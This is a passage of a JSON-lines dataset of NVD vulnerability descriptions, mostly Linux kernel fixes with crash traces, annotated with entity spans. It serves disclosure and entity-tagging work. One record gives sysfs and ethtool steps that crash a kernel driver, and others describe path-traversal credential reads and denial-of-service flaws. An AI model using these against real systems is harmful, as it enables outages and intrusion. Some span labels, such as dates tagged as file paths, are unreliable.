"CVE-2020-14723"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hns3: put off calling register_netdev() until client initialize complete\n\nCurrently, the netdevice is registered before client initializing\ncomplete. So there is a timewindow between netdevice available\nand usable. In this case, if user try to change the channel number\nor ring param, it may cause the hns3_set_rx_cpu_rmap() being called\ntwice, and report bug.\n\n[47199.416502] hns3 0000:35:00.0 eth1: set channels: tqp_num=1, rxfh=0\n[47199.430340] hns3 0000:35:00.0 eth1: already uninitialized\n[47199.438554] hns3 0000:35:00.0: rss changes from 4 to 1\n[47199.511854] hns3 0000:35:00.0: Channels changed, rss_size from 4 to 1, tqps from 4 to 1\n[47200.163524] ------------[ cut here ]------------\n[47200.171674] kernel BUG at lib/cpu_rmap.c:142!\n[47200.177847] Internal error: Oops - BUG: 0 [#1] PREEMPT SMP\n[47200.185259] Modules linked in: hclge(+) hns3(-) hns3_cae(O) hns_roce_hw_v2 hnae3 vfio_iommu_type1 vfio_pci vfio_virqfd vfio pv680_mii(O) [last unloaded: hclge]\n[47200.205912] CPU: 1 PID: 8260 Comm: ethtool Tainted: G           O      5.11.0-rc3+ #1\n[47200.215601] Hardware name:  , xxxxxx 02/04/2021\n[47200.223052] pstate: 60400009 (nZCv daif +PAN -UAO -TCO BTYPE=--)\n[47200.230188] pc : cpu_rmap_add+0x38/0x40\n[47200.237472] lr : irq_cpu_rmap_add+0x84/0x140\n[47200.243291] sp : ffff800010e93a30\n[47200.247295] x29: ffff800010e93a30 x28: ffff082100584880\n[47200.254155] x27: 0000000000000000 x26: 0000000000000000\n[47200.260712] x25: 0000000000000000 x24: 0000000000000004\n[47200.267241] x23: ffff08209ba03000 x22: ffff08209ba038c0\n[47200.273789] x21: 000000000000003f x20: ffff0820e2bc1680\n[47200.280400] x19: ffff0820c970ec80 x18: 00000000000000c0\n[47200.286944] x17: 0000000000000000 x16: ffffb43debe4a0d0\n[47200.293456] x15: fffffc2082990600 x14: dead000000000122\n[47200.300059] x13: ffffffffffffffff x12: 000000000000003e\n[47200.306606] x11: ffff0820815b8080 x10: ffff53e411988000\n[47200.313171] x9 : 0000000000000000 x8 : ffff0820e2bc1700\n[47200.319682] x7 : 0000000000000000 x6 : 000000000000003f\n[47200.326170] x5 : 0000000000000040 x4 : ffff800010e93a20\n[47200.332656] x3 : 0000000000000004 x2 : ffff0820c970ec80\n[47200.339168] x1 : ffff0820e2bc1680 x0 : 0000000000000004\n[47200.346058] Call trace:\n[47200.349324]  cpu_rmap_add+0x38/0x40\n[47200.354300]  hns3_set_rx_cpu_rmap+0x6c/0xe0 [hns3]\n[47200.362294]  hns3_reset_notify_init_enet+0x1cc/0x340 [hns3]\n[47200.370049]  hns3_change_channels+0x40/0xb0 [hns3]\n[47200.376770]  hns3_set_channels+0x12c/0x2a0 [hns3]\n[47200.383353]  ethtool_set_channels+0x140/0x250\n[47200.389772]  dev_ethtool+0x714/0x23d0\n[47200.394440]  dev_ioctl+0x4cc/0x640\n[47200.399277]  sock_do_ioctl+0x100/0x2a0\n[47200.404574]  sock_ioctl+0x28c/0x470\n[47200.409079]  __arm64_sys_ioctl+0xb4/0x100\n[47200.415217]  el0_svc_common.constprop.0+0x84/0x210\n[47200.422088]  do_el0_svc+0x28/0x34\n[47200.426387]  el0_svc+0x28/0x70\n[47200.431308]  el0_sync_handler+0x1a4/0x1b0\n[47200.436477]  el0_sync+0x174/0x180\n[47200.441562] Code: 11000405 79000c45 f8247861 d65f03c0 (d4210000)\n[47200.448869] ---[ end trace a01efe4ce42e5f34 ]---\n\nThe process is like below:\nexcuting hns3_client_init\n|\nregister_netdev()\n|                           hns3_set_channels()\n|                           |\nhns3_set_rx_cpu_rmap()      hns3_reset_notify_uninit_enet()\n|                               |\n|                            quit without calling function\n|                            hns3_free_rx_cpu_rmap for flag\n|                            HNS3_NIC_STATE_INITED is unset.\n|                           |\n|                           hns3_reset_notify_init_enet()\n|                               |\nset HNS3_NIC_STATE_INITED    call hns3_set_rx_cpu_rmap()-- crash\n\nFix it by calling register_netdev() at the end of function\nhns3_client_init().", "spans": {"FILEPATH: /04/2021": [[1174, 1182]], "FILEPATH: cpu_rmap.c": [[802, 812]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47139"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: smartpqi: Fix disable_managed_interrupts\n\nCorrect blk-mq registration issue with module parameter\ndisable_managed_interrupts enabled.\n\nWhen we turn off the default PCI_IRQ_AFFINITY flag, the driver needs to\nregister with blk-mq using blk_mq_map_queues(). The driver is currently\ncalling blk_mq_pci_map_queues() which results in a stack trace and possibly\nundefined behavior.\n\nStack Trace:\n[    7.860089] scsi host2: smartpqi\n[    7.871934] WARNING: CPU: 0 PID: 238 at block/blk-mq-pci.c:52 blk_mq_pci_map_queues+0xca/0xd0\n[    7.889231] Modules linked in: sd_mod t10_pi sg uas smartpqi(+) crc32c_intel scsi_transport_sas usb_storage dm_mirror dm_region_hash dm_log dm_mod ipmi_devintf ipmi_msghandler fuse\n[    7.924755] CPU: 0 PID: 238 Comm: kworker/0:3 Not tainted 4.18.0-372.88.1.el8_6_smartpqi_test.x86_64 #1\n[    7.944336] Hardware name: HPE ProLiant DL380 Gen10/ProLiant DL380 Gen10, BIOS U30 03/08/2022\n[    7.963026] Workqueue: events work_for_cpu_fn\n[    7.978275] RIP: 0010:blk_mq_pci_map_queues+0xca/0xd0\n[    7.978278] Code: 48 89 de 89 c7 e8 f6 0f 4f 00 3b 05 c4 b7 8e 01 72 e1 5b 31 c0 5d 41 5c 41 5d 41 5e 41 5f e9 7d df 73 00 31 c0 e9 76 df 73 00 <0f> 0b eb bc 90 90 0f 1f 44 00 00 41 57 49 89 ff 41 56 41 55 41 54\n[    7.978280] RSP: 0018:ffffa95fc3707d50 EFLAGS: 00010216\n[    7.978283] RAX: 00000000ffffffff RBX: 0000000000000000 RCX: 0000000000000010\n[    7.978284] RDX: 0000000000000004 RSI: 0000000000000000 RDI: ffff9190c32d4310\n[    7.978286] RBP: 0000000000000000 R08: ffffa95fc3707d38 R09: ffff91929b81ac00\n[    7.978287] R10: 0000000000000001 R11: ffffa95fc3707ac0 R12: 0000000000000000\n[    7.978288] R13: ffff9190c32d4000 R14: 00000000ffffffff R15: ffff9190c4c950a8\n[    7.978290] FS:  0000000000000000(0000) GS:ffff9193efc00000(0000) knlGS:0000000000000000\n[    7.978292] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[    8.172814] CR2: 000055d11166c000 CR3: 00000002dae10002 CR4: 00000000007706f0\n[    8.172816] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[    8.172817] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[    8.172818] PKRU: 55555554\n[    8.172819] Call Trace:\n[    8.172823]  blk_mq_alloc_tag_set+0x12e/0x310\n[    8.264339]  scsi_add_host_with_dma.cold.9+0x30/0x245\n[    8.279302]  pqi_ctrl_init+0xacf/0xc8e [smartpqi]\n[    8.294085]  ? pqi_pci_probe+0x480/0x4c8 [smartpqi]\n[    8.309015]  pqi_pci_probe+0x480/0x4c8 [smartpqi]\n[    8.323286]  local_pci_probe+0x42/0x80\n[    8.337855]  work_for_cpu_fn+0x16/0x20\n[    8.351193]  process_one_work+0x1a7/0x360\n[    8.364462]  ? create_worker+0x1a0/0x1a0\n[    8.379252]  worker_thread+0x1ce/0x390\n[    8.392623]  ? create_worker+0x1a0/0x1a0\n[    8.406295]  kthread+0x10a/0x120\n[    8.418428]  ? set_kthread_struct+0x50/0x50\n[    8.431532]  ret_from_fork+0x1f/0x40\n[    8.444137] ---[ end trace 1bf0173d39354506 ]---", "spans": {"FILEPATH: /08/2022": [[976, 984]], "FILEPATH: pci.c": [[556, 561]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26742"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: check skb is non-NULL in tcp_rto_delta_us()\n\nWe have some machines running stock Ubuntu 20.04.6 which is their 5.4.0-174-generic\nkernel that are running ceph and recently hit a null ptr dereference in\ntcp_rearm_rto(). Initially hitting it from the TLP path, but then later we also\nsaw it getting hit from the RACK case as well. Here are examples of the oops\nmessages we saw in each of those cases:\n\nJul 26 15:05:02 rx [11061395.780353] BUG: kernel NULL pointer dereference, address: 0000000000000020\nJul 26 15:05:02 rx [11061395.787572] #PF: supervisor read access in kernel mode\nJul 26 15:05:02 rx [11061395.792971] #PF: error_code(0x0000) - not-present page\nJul 26 15:05:02 rx [11061395.798362] PGD 0 P4D 0\nJul 26 15:05:02 rx [11061395.801164] Oops: 0000 [#1] SMP NOPTI\nJul 26 15:05:02 rx [11061395.805091] CPU: 0 PID: 9180 Comm: msgr-worker-1 Tainted: G W 5.4.0-174-generic #193-Ubuntu\nJul 26 15:05:02 rx [11061395.814996] Hardware name: Supermicro SMC 2x26 os-gen8 64C NVME-Y 256G/H12SSW-NTR, BIOS 2.5.V1.2U.NVMe.UEFI 05/09/2023\nJul 26 15:05:02 rx [11061395.825952] RIP: 0010:tcp_rearm_rto+0xe4/0x160\nJul 26 15:05:02 rx [11061395.830656] Code: 87 ca 04 00 00 00 5b 41 5c 41 5d 5d c3 c3 49 8b bc 24 40 06 00 00 eb 8d 48 bb cf f7 53 e3 a5 9b c4 20 4c 89 ef e8 0c fe 0e 00 <48> 8b 78 20 48 c1 ef 03 48 89 f8 41 8b bc 24 80 04 00 00 48 f7 e3\nJul 26 15:05:02 rx [11061395.849665] RSP: 0018:ffffb75d40003e08 EFLAGS: 00010246\nJul 26 15:05:02 rx [11061395.855149] RAX: 0000000000000000 RBX: 20c49ba5e353f7cf RCX: 0000000000000000\nJul 26 15:05:02 rx [11061395.862542] RDX: 0000000062177c30 RSI: 000000000000231c RDI: ffff9874ad283a60\nJul 26 15:05:02 rx [11061395.869933] RBP: ffffb75d40003e20 R08: 0000000000000000 R09: ffff987605e20aa8\nJul 26 15:05:02 rx [11061395.877318] R10: ffffb75d40003f00 R11: ffffb75d4460f740 R12: ffff9874ad283900\nJul 26 15:05:02 rx [11061395.884710] R13: ffff9874ad283a60 R14: ffff9874ad283980 R15: ffff9874ad283d30\nJul 26 15:05:02 rx [11061395.892095] FS: 00007f1ef4a2e700(0000) GS:ffff987605e00000(0000) knlGS:0000000000000000\nJul 26 15:05:02 rx [11061395.900438] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nJul 26 15:05:02 rx [11061395.906435] CR2: 0000000000000020 CR3: 0000003e450ba003 CR4: 0000000000760ef0\nJul 26 15:05:02 rx [11061395.913822] PKRU: 55555554\nJul 26 15:05:02 rx [11061395.916786] Call Trace:\nJul 26 15:05:02 rx [11061395.919488]\nJul 26 15:05:02 rx [11061395.921765] ? show_regs.cold+0x1a/0x1f\nJul 26 15:05:02 rx [11061395.925859] ? __die+0x90/0xd9\nJul 26 15:05:02 rx [11061395.929169] ? no_context+0x196/0x380\nJul 26 15:05:02 rx [11061395.933088] ? ip6_protocol_deliver_rcu+0x4e0/0x4e0\nJul 26 15:05:02 rx [11061395.938216] ? ip6_sublist_rcv_finish+0x3d/0x50\nJul 26 15:05:02 rx [11061395.943000] ? __bad_area_nosemaphore+0x50/0x1a0\nJul 26 15:05:02 rx [11061395.947873] ? bad_area_nosemaphore+0x16/0x20\nJul 26 15:05:02 rx [11061395.952486] ? do_user_addr_fault+0x267/0x450\nJul 26 15:05:02 rx [11061395.957104] ? ipv6_list_rcv+0x112/0x140\nJul 26 15:05:02 rx [11061395.961279] ? __do_page_fault+0x58/0x90\nJul 26 15:05:02 rx [11061395.965458] ? do_page_fault+0x2c/0xe0\nJul 26 15:05:02 rx [11061395.969465] ? page_fault+0x34/0x40\nJul 26 15:05:02 rx [11061395.973217] ? tcp_rearm_rto+0xe4/0x160\nJul 26 15:05:02 rx [11061395.977313] ? tcp_rearm_rto+0xe4/0x160\nJul 26 15:05:02 rx [11061395.981408] tcp_send_loss_probe+0x10b/0x220\nJul 26 15:05:02 rx [11061395.985937] tcp_write_timer_handler+0x1b4/0x240\nJul 26 15:05:02 rx [11061395.990809] tcp_write_timer+0x9e/0xe0\nJul 26 15:05:02 rx [11061395.994814] ? tcp_write_timer_handler+0x240/0x240\nJul 26 15:05:02 rx [11061395.999866] call_timer_fn+0x32/0x130\nJul 26 15:05:02 rx [11061396.003782] __run_timers.part.0+0x180/0x280\nJul 26 15:05:02 rx [11061396.008309] ? recalibrate_cpu_khz+0x10/0x10\nJul 26 15:05:02 rx [11061396.012841] ? native_x2apic_icr_write+0x30/0x30\nJul 26 15:05:02 rx [11061396.017718] ? lapic_next_even\n---truncated---", "spans": {"FILEPATH: /09/2023": [[1098, 1106]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Ubuntu": [[155, 161], [956, 962]], "VULNERABILITY: NULL pointer dereference": [[522, 546]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47684"}}
{"text": "Fides is an open-source privacy engineering platform for managing data privacy requests and privacy regulations. The Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit this vulnerability to upload zip files containing malicious SVG bombs (similar to a billion laughs attack), causing resource exhaustion in Admin UI browser tabs and creating a persistent denial of service of the 'new connector' page (`datastore-connection/new`). This vulnerability affects Fides versions `2.11.0` through `2.15.1`. Exploitation is limited to users with elevated privileges with the `CONNECTOR_TEMPLATE_REGISTER` scope, which includes root users and users with the owner role. The vulnerability has been patched in Fides version `2.16.0`. Users are advised to upgrade to this version or later to secure their systems against this threat. There is no known workaround to remediate this vulnerability without upgrading.", "spans": {"VULNERABILITY: resource exhaustion": [[330, 349]], "VULNERABILITY: Denial of Service": [[160, 177]], "VULNERABILITY: denial of service": [[401, 418]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37481"}}
{"text": "Rustix is a set of safe Rust bindings to POSIX-ish APIs. When using `rustix::fs::Dir` using the `linux_raw` backend, it's possible for the iterator to \"get stuck\" when an IO error is encountered. Combined with a memory over-allocation issue in `rustix::fs::Dir::read_more`, this can cause quick and unbounded memory explosion (gigabytes in a few seconds if used on a hot path) and eventually lead to an OOM crash of the application. The symptoms were initially discovered in https://github.com/imsnif/bandwhich/issues/284. That post has lots of details of our investigation. Full details can be read on the GHSA-c827-hfw6-qwvm repo advisory. If a program tries to access a directory with its file descriptor after the file has been unlinked (or any other action that leaves the `Dir` iterator in the stuck state), and the implementation does not break after seeing an error, it can cause a memory explosion. As an example, Linux's various virtual file systems (e.g. `/proc`, `/sys`) can contain directories that spontaneously pop in and out of existence. Attempting to iterate over them using `rustix::fs::Dir` directly or indirectly (e.g. with the `procfs` crate) can trigger this fault condition if the implementation decides to continue on errors. An attacker knowledgeable about the implementation details of a vulnerable target can therefore try to trigger this fault condition via any one or a combination of several available APIs. If successful, the application host will quickly run out of memory, after which the application will likely be terminated by an OOM killer, leading to denial of service. This issue has been addressed in release versions 0.35.15, 0.36.16, 0.37.25, and 0.38.19. Users are advised to upgrade. There are no known workarounds for this issue.", "spans": {"URL: https://github.com/imsnif/bandwhich/issues/284.": [[475, 522]], "SYSTEM: Linux": [[923, 928]], "VULNERABILITY: denial of service": [[1590, 1607]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43806"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.54 and 9.6.0-alpha.43, an attacker can subscribe to LiveQuery with a watch parameter targeting a protected field. Although the protected field value is properly stripped from event payloads, the presence or absence of update events reveals whether the protected field changed, creating a binary oracle. For boolean protected fields, the timing of change events is equivalent to knowing the field value. This issue has been patched in versions 8.6.54 and 9.6.0-alpha.43.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33429"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: Add netif_device_attach/detach into PF reset flow\n\nEthtool callbacks can be executed while reset is in progress and try to\naccess deleted resources, e.g. getting coalesce settings can result in a\nNULL pointer dereference seen below.\n\nReproduction steps:\nOnce the driver is fully initialized, trigger reset:\n\t# echo 1 > /sys/class/net/<interface>/device/reset\nwhen reset is in progress try to get coalesce settings using ethtool:\n\t# ethtool -c <interface>\n\nBUG: kernel NULL pointer dereference, address: 0000000000000020\nPGD 0 P4D 0\nOops: Oops: 0000 [#1] PREEMPT SMP PTI\nCPU: 11 PID: 19713 Comm: ethtool Tainted: G S                 6.10.0-rc7+ #7\nRIP: 0010:ice_get_q_coalesce+0x2e/0xa0 [ice]\nRSP: 0018:ffffbab1e9bcf6a8 EFLAGS: 00010206\nRAX: 000000000000000c RBX: ffff94512305b028 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: ffff9451c3f2e588 RDI: ffff9451c3f2e588\nRBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000\nR10: ffff9451c3f2e580 R11: 000000000000001f R12: ffff945121fa9000\nR13: ffffbab1e9bcf760 R14: 0000000000000013 R15: ffffffff9e65dd40\nFS:  00007faee5fbe740(0000) GS:ffff94546fd80000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000020 CR3: 0000000106c2e005 CR4: 00000000001706f0\nCall Trace:\n<TASK>\nice_get_coalesce+0x17/0x30 [ice]\ncoalesce_prepare_data+0x61/0x80\nethnl_default_doit+0xde/0x340\ngenl_family_rcv_msg_doit+0xf2/0x150\ngenl_rcv_msg+0x1b3/0x2c0\nnetlink_rcv_skb+0x5b/0x110\ngenl_rcv+0x28/0x40\nnetlink_unicast+0x19c/0x290\nnetlink_sendmsg+0x222/0x490\n__sys_sendto+0x1df/0x1f0\n__x64_sys_sendto+0x24/0x30\ndo_syscall_64+0x82/0x160\nentry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7faee60d8e27\n\nCalling netif_device_detach() before reset makes the net core not call\nthe driver when ethtool command is issued, the attempt to execute an\nethtool command during reset will result in the following message:\n\n    netlink error: No such device\n\ninstead of NULL pointer dereference. Once reset is done and\nice_rebuild() is executing, the netif_device_attach() is called to allow\nfor ethtool operations to occur again in a safe manner.", "spans": {"FILEPATH: /sys/class/net": [[393, 407]], "FILEPATH: /device/reset": [[419, 432]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[270, 294], [542, 566], [2008, 2032]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46770"}}
{"text": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. Starting in version 24.0.0 and prior to versions 26.0.5, 27.0.2, and 28.0.0, an authenticated user with the appropriate authorization can read configuration files on the server by exploiting a path traversal vulnerability. Some of these files contain hard-coded credentials. The vulnerability allows an attacker to read configuration files containing hard-coded credentials. The attacker could then authenticate to the database or other services if those credentials are reused. The attacker must be authenticated and have the required permissions. However, the vulnerability is easy to exploit and the application source code is public. This problem is fixed in LORIS v26.0.5 and v27.0.2 and above, and v28.0.0 and above. As a workaround, the electrophysiogy_browser in LORIS can be disabled by an administrator using the module manager.", "spans": {"VULNERABILITY: hard-coded credentials": [[410, 432], [510, 532]], "VULNERABILITY: path traversal": [[352, 366]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26985"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: stmmac: move the EST lock to struct stmmac_priv\n\nReinitialize the whole EST structure would also reset the mutex\nlock which is embedded in the EST structure, and then trigger\nthe following warning. To address this, move the lock to struct\nstmmac_priv. We also need to reacquire the mutex lock when doing\nthis initialization.\n\nDEBUG_LOCKS_WARN_ON(lock->magic != lock)\nWARNING: CPU: 3 PID: 505 at kernel/locking/mutex.c:587 __mutex_lock+0xd84/0x1068\n Modules linked in:\n CPU: 3 PID: 505 Comm: tc Not tainted 6.9.0-rc6-00053-g0106679839f7-dirty #29\n Hardware name: NXP i.MX8MPlus EVK board (DT)\n pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : __mutex_lock+0xd84/0x1068\n lr : __mutex_lock+0xd84/0x1068\n sp : ffffffc0864e3570\n x29: ffffffc0864e3570 x28: ffffffc0817bdc78 x27: 0000000000000003\n x26: ffffff80c54f1808 x25: ffffff80c9164080 x24: ffffffc080d723ac\n x23: 0000000000000000 x22: 0000000000000002 x21: 0000000000000000\n x20: 0000000000000000 x19: ffffffc083bc3000 x18: ffffffffffffffff\n x17: ffffffc08117b080 x16: 0000000000000002 x15: ffffff80d2d40000\n x14: 00000000000002da x13: ffffff80d2d404b8 x12: ffffffc082b5a5c8\n x11: ffffffc082bca680 x10: ffffffc082bb2640 x9 : ffffffc082bb2698\n x8 : 0000000000017fe8 x7 : c0000000ffffefff x6 : 0000000000000001\n x5 : ffffff8178fe0d48 x4 : 0000000000000000 x3 : 0000000000000027\n x2 : ffffff8178fe0d50 x1 : 0000000000000000 x0 : 0000000000000000\n Call trace:\n  __mutex_lock+0xd84/0x1068\n  mutex_lock_nested+0x28/0x34\n  tc_setup_taprio+0x118/0x68c\n  stmmac_setup_tc+0x50/0xf0\n  taprio_change+0x868/0xc9c", "spans": {"FILEPATH: /locking/mutex.c": [[475, 491]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-38594"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/rsrc: validate buffer count with offset for cloning\n\nsyzbot reports that it can trigger a WARN_ON() for kmalloc() attempt\nthat's too big:\n\nWARNING: CPU: 0 PID: 6488 at mm/slub.c:5024 __kvmalloc_node_noprof+0x520/0x640 mm/slub.c:5024\nModules linked in:\nCPU: 0 UID: 0 PID: 6488 Comm: syz-executor312 Not tainted 6.15.0-rc7-syzkaller-gd7fa1af5b33e #0 PREEMPT\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\npstate: 20400005 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : __kvmalloc_node_noprof+0x520/0x640 mm/slub.c:5024\nlr : __do_kmalloc_node mm/slub.c:-1 [inline]\nlr : __kvmalloc_node_noprof+0x3b4/0x640 mm/slub.c:5012\nsp : ffff80009cfd7a90\nx29: ffff80009cfd7ac0 x28: ffff0000dd52a120 x27: 0000000000412dc0\nx26: 0000000000000178 x25: ffff7000139faf70 x24: 0000000000000000\nx23: ffff800082f4cea8 x22: 00000000ffffffff x21: 000000010cd004a8\nx20: ffff0000d75816c0 x19: ffff0000dd52a000 x18: 00000000ffffffff\nx17: ffff800092f39000 x16: ffff80008adbe9e4 x15: 0000000000000005\nx14: 1ffff000139faf1c x13: 0000000000000000 x12: 0000000000000000\nx11: ffff7000139faf21 x10: 0000000000000003 x9 : ffff80008f27b938\nx8 : 0000000000000002 x7 : 0000000000000000 x6 : 0000000000000000\nx5 : 00000000ffffffff x4 : 0000000000400dc0 x3 : 0000000200000000\nx2 : 000000010cd004a8 x1 : ffff80008b3ebc40 x0 : 0000000000000001\nCall trace:\n __kvmalloc_node_noprof+0x520/0x640 mm/slub.c:5024 (P)\n kvmalloc_array_node_noprof include/linux/slab.h:1065 [inline]\n io_rsrc_data_alloc io_uring/rsrc.c:206 [inline]\n io_clone_buffers io_uring/rsrc.c:1178 [inline]\n io_register_clone_buffers+0x484/0xa14 io_uring/rsrc.c:1287\n __io_uring_register io_uring/register.c:815 [inline]\n __do_sys_io_uring_register io_uring/register.c:926 [inline]\n __se_sys_io_uring_register io_uring/register.c:903 [inline]\n __arm64_sys_io_uring_register+0x42c/0xea8 io_uring/register.c:903\n __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n invoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:49\n el0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:132\n do_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:151\n el0_svc+0x58/0x17c arch/arm64/kernel/entry-common.c:767\n el0t_64_sync_handler+0x78/0x108 arch/arm64/kernel/entry-common.c:786\n el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:600\n\nwhich is due to offset + buffer_count being too large. The registration\ncode checks only the total count of buffers, but given that the indexing\nis an array, it should also check offset + count. That can't exceed\nIORING_MAX_REG_BUFFERS either, as there's no way to reach buffers beyond\nthat limit.\n\nThere's no issue with registrering a table this large, outside of the\nfact that it's pointless to register buffers that cannot be reached, and\nthat it can trigger this kmalloc() warning for attempting an allocation\nthat is too large.", "spans": {"FILEPATH: /07/2025": [[515, 523]], "FILEPATH: /linux/slab.h": [[1527, 1540]], "FILEPATH: /arm64/kernel/syscall.c": [[1977, 2000], [2044, 2067], [2103, 2126], [2157, 2180]], "FILEPATH: /arm64/kernel/entry-common.c": [[2209, 2237], [2279, 2307]], "FILEPATH: /arm64/kernel/entry.S": [[2342, 2363]], "FILEPATH: slub.c": [[249, 255], [299, 305], [631, 637], [669, 675], [731, 737], [1476, 1482]], "FILEPATH: rsrc.c": [[1584, 1590], [1631, 1637], [1700, 1706]], "FILEPATH: register.c": [[1742, 1752], [1803, 1813], [1864, 1874], [1940, 1950]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[449, 455], [456, 462], [478, 484], [506, 512]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38196"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: fix DFS traversal oops without CONFIG_CIFS_DFS_UPCALL\n\nWhen compiled with CONFIG_CIFS_DFS_UPCALL disabled, cifs_dfs_d_automount\nis NULL. cifs.ko logic for mapping CIFS_FATTR_DFS_REFERRAL attributes to\nS_AUTOMOUNT and corresponding dentry flags is retained regardless of\nCONFIG_CIFS_DFS_UPCALL, leading to a NULL pointer dereference in\nVFS follow_automount() when traversing a DFS referral link:\n  BUG: kernel NULL pointer dereference, address: 0000000000000000\n  ...\n  Call Trace:\n   <TASK>\n   __traverse_mounts+0xb5/0x220\n   ? cifs_revalidate_mapping+0x65/0xc0 [cifs]\n   step_into+0x195/0x610\n   ? lookup_fast+0xe2/0xf0\n   path_lookupat+0x64/0x140\n   filename_lookup+0xc2/0x140\n   ? __create_object+0x299/0x380\n   ? kmem_cache_alloc+0x119/0x220\n   ? user_path_at_empty+0x31/0x50\n   user_path_at_empty+0x31/0x50\n   __x64_sys_chdir+0x2a/0xd0\n   ? exit_to_user_mode_prepare+0xca/0x100\n   do_syscall_64+0x42/0x90\n   entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nThis fix adds an inline cifs_dfs_d_automount() {return -EREMOTE} handler\nwhen CONFIG_CIFS_DFS_UPCALL is disabled. An alternative would be to\navoid flagging S_AUTOMOUNT, etc. without CONFIG_CIFS_DFS_UPCALL. This\napproach was chosen as it provides more control over the error path.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[382, 406], [484, 508]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53246"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.SparseFillEmptyRows`. The shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/sparse_ops.cc#L608-L634) does not validate that the input arguments are not empty tensors. We have patched the issue in GitHub commit 578e634b4f1c1c684d4b4294f9e5281b2133b3ed. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/sparse_ops.cc#L608-L634": [[247, 377]], "HASH: 578e634b4f1c1c684d4b4294f9e5281b2133b3ed": [[488, 528]], "ORGANIZATION: GitHub": [[474, 480]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37676"}}
{"text": "Nextcloud server is an open source, self hosted personal cloud. Nextcloud supports rendering image previews for user provided file content. For some image types, the Nextcloud server was invoking a third-party library that wasn't suited for untrusted user-supplied content. There are several security concerns with passing user-generated content to this library, such as Server-Side-Request-Forgery, file disclosure or potentially executing code on the system. The risk depends on your system configuration and the installed library version. It is recommended that the Nextcloud Server is upgraded to 20.0.12, 21.0.4 or 22.1.0. These versions do not use this library anymore. As a workaround users may disable previews by setting `enable_previews` to `false` in `config.php`.", "spans": {"FILEPATH: config.php": [[763, 773]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32802"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: wwan: fix global oob in wwan_rtnl_policy\n\nThe variable wwan_rtnl_link_ops assign a *bigger* maxtype which leads to\na global out-of-bounds read when parsing the netlink attributes. Exactly\nsame bug cause as the oob fixed in commit b33fb5b801c6 (\"net: qualcomm:\nrmnet: fix global oob in rmnet_policy\").\n\n==================================================================\nBUG: KASAN: global-out-of-bounds in validate_nla lib/nlattr.c:388 [inline]\nBUG: KASAN: global-out-of-bounds in __nla_validate_parse+0x19d7/0x29a0 lib/nlattr.c:603\nRead of size 1 at addr ffffffff8b09cb60 by task syz.1.66276/323862\n\nCPU: 0 PID: 323862 Comm: syz.1.66276 Not tainted 6.1.70 #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x177/0x231 